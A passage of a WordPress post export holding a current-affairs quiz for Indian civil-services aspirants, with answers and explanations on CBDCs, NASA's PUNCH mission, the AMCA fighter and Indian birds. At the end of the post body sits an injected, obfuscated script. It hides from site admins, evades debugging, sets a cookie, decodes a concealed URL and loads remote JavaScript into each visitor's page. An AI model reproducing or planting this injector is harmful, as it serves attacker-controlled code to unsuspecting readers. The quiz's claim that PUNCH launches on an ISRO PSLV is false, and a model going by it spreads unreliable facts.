research.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><strong>Q. With reference to pre-packed items in India, it is mandatory to the manufacturer to put which of the following information on the main label, as per the Food Safety and Standards (Packaging and Labelling) Regulation, 2011?<\/strong> <br><br>1. List of ingredients including additives <br>2. Nutrition information <br>3. Recommendations, if any, made by the medical profession about the possibility of any allergic reaction <br>4. Vegetarian\/non-vegetarian <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br>(a) 1, 2 and 3 only <br>(b) 2, 3 and 4 only <br><strong>(c) 1, 2 and 4 only<\/strong> <br>(d) 1 and 4 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/cities\/Hyderabad\/hyderabad-paediatricians-eight-year-long-battle-leads-to-fssai-prohibiting-usage-of-ors-on-food-products\/article70170085.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/cities\/Hyderabad\/hyderabad-paediatricians-eight-year-long-battle-leads-to-fssai-prohibiting-usage-of-ors-on-food-products\/article70170085.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>7. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Statement-I:<\/strong> The Central Bank Digital Currency (CBDCs) a digital form of a country\u2019s fiat currency issued and regulated by its central bank.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Statement-II:<\/strong> Unlike cryptocurrencies like Bitcoin, CBDCs are legal tender and centralized, with value guaranteed by the government.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(c) Statement-I is correct but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(d) Statement-I is incorrect but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>In NEWS: <\/strong>RBI Governor Malhotra urges other central banks to promote CBDCs over stablecoins<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Central Bank Digital Currency (CBDC):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-122\">\n<li><strong>CBDC<\/strong> stands for <strong>Central Bank Digital Currency<\/strong>, a <strong>digital form of a country\u2019s fiat currency<\/strong> issued and regulated by its central bank. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>Unlike cryptocurrencies like Bitcoin, CBDCs are <strong>legal tender<\/strong> and <strong>centralized<\/strong>, with value guaranteed by the government. <strong>Hence statement II is correct and explains statement I<\/strong><\/li>\n\n\n\n<li>CBDCs are designed to <strong>complement cash<\/strong>, not replace it, and are fully backed by the central bank.<\/li>\n\n\n\n<li>There are <strong>two types of CBDCs<\/strong>:<ul><li><strong>Retail CBDC:<\/strong> For general public and businesses (digital rupee for individuals).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Wholesale CBDC:<\/strong> For financial institutions, primarily for interbank settlements.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>India\u2019s CBDC<\/strong> is called the <strong>Digital Rupee (e\u20b9)<\/strong>, being issued by the <strong>Reserve Bank of India (RBI)<\/strong>.<\/li>\n\n\n\n<li>The <strong>Digital Rupee<\/strong> can be used for <strong>retail payments, e-commerce, and remittances<\/strong>.<\/li>\n\n\n\n<li>CBDCs are designed to provide <strong>secure, fast, and low-cost digital transactions<\/strong>, reducing dependence on cash.<\/li>\n\n\n\n<li>CBDCs enhance <strong>financial inclusion<\/strong> by bringing digital payments to people without access to traditional banking.<\/li>\n\n\n\n<li>They help <strong>curb black money, reduce transaction costs, and increase transparency<\/strong>.<\/li>\n\n\n\n<li>CBDCs <strong>do not rely on private cryptocurrencies<\/strong> or decentralized blockchains; they may use <strong>centralized or hybrid distributed ledger technology (DLT)<\/strong>.<\/li>\n\n\n\n<li><strong>Advantages of CBDCs<\/strong> include efficiency in payments, monetary policy transmission, financial inclusion, and reduced cash handling costs.<\/li>\n\n\n\n<li><strong>Risks of CBDCs<\/strong> include cybersecurity threats, privacy concerns, and potential disruption to commercial banks\u2019 deposit base.<\/li>\n\n\n\n<li>Several countries, including <strong>China, Bahamas, Sweden, and Nigeria<\/strong>, have already launched or piloted CBDCs.<\/li>\n\n\n\n<li>India launched <strong>pilot projects for the Digital Rupee<\/strong> in 2022 for both <strong>wholesale and retail use cases<\/strong>.<\/li>\n\n\n\n<li>RBI continues to explore the <strong>expansion and integration of CBDCs<\/strong> into mainstream financial and retail payments.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><strong>Q. With reference to Central Bank digital currencies, consider the following statements:<\/strong> <br><br>1. It is possible to make payments in a digital currency without using US dollar or SWIFT system. <br>2. A digital currency can be distributed with condition programmed into it such as a time-frame for spending it. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/business\/rbi-governor-malhotra-urges-central-banks-promote-cbdcs-stablecoins-10309697\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/business\/rbi-governor-malhotra-urges-central-banks-promote-cbdcs-stablecoins-10309697\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>8. The PUNCH mission, recently in the news, is associated with which among the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(a) Deep-sea exploration<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(b) Solar and heliospheric studies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(c) Planetary geology<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(d) Satellite communication technology<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Answer: (b) Solar and heliospheric studies<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>In NEWS: <\/strong>Making the invisible visible with PUNCH<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>PUNCH Space Mission:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-133\">\n<li><strong>PUNCH<\/strong> stands for <strong>Polarimeter to Unify the Corona and Heliosphere<\/strong>.<\/li>\n\n\n\n<li>It is a <strong>NASA mission<\/strong> to study how the <strong>Sun\u2019s corona transitions into the solar wind<\/strong>.<\/li>\n\n\n\n<li>The mission will help understand the <strong>Sun\u2013Earth connection<\/strong> and <strong>space weather<\/strong>.<\/li>\n\n\n\n<li>It consists of <strong>four microsatellites<\/strong> working together to image the <strong>solar corona and heliosphere<\/strong>.<\/li>\n\n\n\n<li>The satellites will use <strong>polarimetric imaging<\/strong> to create 3D views of the Sun\u2019s outer atmosphere.<\/li>\n\n\n\n<li><strong>Launch:<\/strong> Will take place on an <strong>ISRO PSLV rocket<\/strong> from <strong>Sriharikota<\/strong> (India).<\/li>\n\n\n\n<li>The mission is managed by <strong>NASA\u2019s Goddard Space Flight Center<\/strong> and led by the <strong>Southwest Research Institute (SwRI)<\/strong>.<\/li>\n\n\n\n<li>It marks a <strong>NASA\u2013ISRO collaboration<\/strong> in <strong>solar and heliophysics research<\/strong>.<\/li>\n\n\n\n<li>The mission will improve prediction of <strong>solar storms and space weather impacts<\/strong> on Earth.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Hence option (b) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. What is the purpose of the \u2018evolved Laser Interferometer Space Antenna (eLISA)\u2019 project?<\/strong> <br><br>(a) To detect neutrinos <br><strong>(b) To detect gravitational waves<\/strong> <br>(c) To detect the effectiveness of missile defence system <br>(d) To study the effect of solar flares on our communication systems<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/kerala\/making-the-invisible-visible-with-punch\/article70171179.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/kerala\/making-the-invisible-visible-with-punch\/article70171179.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>9. With reference to India\u2019s Advanced Medium Combat Aircraft (AMCA), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">1. It is a twin-engine stealth multirole fighter being developed by ISRO.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">2. India is the fourth nation to develop fifth-generation fighter technology after the U.S., China, and Russia.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>In NEWS: <\/strong>Russia backs AMCA programme, offers to make Su-57 jets in India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>India\u2019s Advanced Medium Combat Aircraft (AMCA):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li>The <strong>Advanced Medium Combat Aircraft (AMCA)<\/strong> is India\u2019s <strong>indigenous fifth-generation multirole stealth fighter jet<\/strong> project.<\/li>\n\n\n\n<li>It is being <strong>developed by the Aeronautical Development Agency (ADA)<\/strong> under the <strong>Defence Research and Development Organisation (DRDO)<\/strong>. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The <strong>production partner<\/strong> for AMCA is <strong>Hindustan Aeronautics Limited (HAL)<\/strong> along with private industries.<\/li>\n\n\n\n<li>The <strong>Cabinet Committee on Security (CCS)<\/strong> approved the <strong>prototype development<\/strong> of the AMCA in <strong>2025<\/strong>.<\/li>\n\n\n\n<li>The AMCA will be a <strong>twin-engine, single-seat, all-weather, multirole fighter aircraft<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Key Features and Technologies<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-150\">\n<li>It will feature <strong>stealth design<\/strong>, internal weapons bays, and <strong>radar-absorbing materials<\/strong> to reduce radar cross-section (RCS).<\/li>\n\n\n\n<li>The aircraft will have <strong>supercruise capability<\/strong>, <strong>3D thrust vectoring<\/strong>, and <strong>supermaneuverability<\/strong>.<\/li>\n\n\n\n<li>It will be equipped with <strong>Active Electronically Scanned Array (AESA) radar<\/strong>, <strong>advanced avionics<\/strong>, and <strong>electronic warfare systems<\/strong>.<\/li>\n\n\n\n<li>The AMCA\u2019s <strong>first flight<\/strong> is expected around <strong>2028\u201329<\/strong>, and <strong>induction<\/strong> is targeted in the <strong>early 2030s<\/strong>.<\/li>\n\n\n\n<li>It will <strong>complement<\/strong> the <strong>LCA Tejas<\/strong>, <strong>TEDBF (Twin Engine Deck Based Fighter)<\/strong>, and <strong>Su-30MKI<\/strong> in India\u2019s air fleet.<\/li>\n\n\n\n<li>The AMCA will <strong>replace ageing aircraft<\/strong> like <strong>MiG-29, Mirage 2000, and Jaguar<\/strong>.<\/li>\n\n\n\n<li>The aircraft will enhance India\u2019s <strong>air superiority<\/strong>, <strong>deep strike<\/strong>, and <strong>stealth warfare<\/strong> capabilities.<\/li>\n\n\n\n<li>The AMCA project is a key step toward <strong>Atmanirbhar Bharat<\/strong> and <strong>defence indigenisation<\/strong>.<\/li>\n\n\n\n<li>The AMCA will have <strong>two stages of production<\/strong> \u2013 Mk1 (5th generation) and Mk2 (5.5\u20136th generation).<\/li>\n\n\n\n<li>The aircraft\u2019s development involves <strong>composite materials<\/strong> to reduce weight and radar visibility.<\/li>\n\n\n\n<li>The <strong>fly-by-wire flight control system<\/strong> will ensure stability and agility during combat.<\/li>\n\n\n\n<li>The <strong>digital cockpit<\/strong> will include AI-assisted decision systems and sensor fusion technology.<\/li>\n\n\n\n<li>The AMCA will be capable of <strong>air-to-air<\/strong>, <strong>air-to-ground<\/strong>, and <strong>electronic warfare<\/strong> missions.<\/li>\n\n\n\n<li>It is designed for <strong>high survivability<\/strong>, <strong>situational awareness<\/strong>, and <strong>network-centric warfare<\/strong>.<\/li>\n\n\n\n<li>The AMCA will place India among nations with <strong>indigenous fifth-generation fighter technology<\/strong> (alongside the U.S., China, and Russia). <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The aircraft is a <strong>critical component<\/strong> of India\u2019s future air power strategy and <strong>self-reliance in aerospace defence<\/strong>.<\/li>\n\n\n\n<li>The <strong>Aeronautical Development Agency (ADA)<\/strong> had earlier designed the <strong>LCA Tejas<\/strong>, providing technological groundwork for AMCA.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><strong>Q. Consider the following aircraft:<\/strong> <br><br>1. Rafael <br>2. MiG-29 <br>3. Tejas MK-1 <br><br><strong>How many of the above are considered fifth generation fighter aircraft?<\/strong> <br><br>(a) Only one <br>(b) Only two <br>(c) All three <br><strong>(d) None<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/russia-backs-amca-programme-offers-to-make-su-57-jets-in-india\/article70172168.ece#:~:text=Russia%20reaffirmed%20its%20commitment%20to,57%20fifth%2Dgeneration%20fighter%20jet\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/russia-backs-amca-programme-offers-to-make-su-57-jets-in-india\/article70172168.ece#:~:text=Russia%20reaffirmed%20its%20commitment%20to,57%20fifth%2Dgeneration%20fighter%20jet<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>10. With reference to India&#8217;s biodiversity, Ceylon frogmouth, Coppersmith barbet, Gray-chinned miniyet and White-throated redstart are<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(a) Birds<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">(b) Primates<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">(c) Reptiles<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">(d) Amphibians<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Answer: (a) Birds<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"270\" height=\"186\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-28.jpg\" alt=\"\" class=\"wp-image-2610\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>Ceylon frogmouth\u00a0\u00a0\u00a0\u00a0 <\/strong><strong>\u00a0\u00a0\u00a0\u00a0\u00a0<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"405\" height=\"303\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-4.png\" alt=\"\" class=\"wp-image-2612\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-4.png 405w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-4-300x224.png 300w\" sizes=\"auto, (max-width: 405px) 100vw, 405px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Coppersmith barbet<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"276\" height=\"194\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-27.jpg\" alt=\"\" class=\"wp-image-2608\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Gray-chinned miniyet\u00a0 <\/strong><strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"399\" height=\"309\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-3.png\" alt=\"\" class=\"wp-image-2611\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-3.png 399w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-3-300x232.png 300w\" sizes=\"auto, (max-width: 399px) 100vw, 399px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>White-throated redstart<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which of the following is NOT a feature of the PM-SHRI scheme? (a) Teacher training and professional development (b) [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,71,11,42],"tags":[],"class_list":["post-2607","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2607","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2607"}],"version-history":[{"count":4,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2607\/revisions"}],"predecessor-version":[{"id":2968,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2607\/revisions\/2968"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2607"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2607"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2607"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}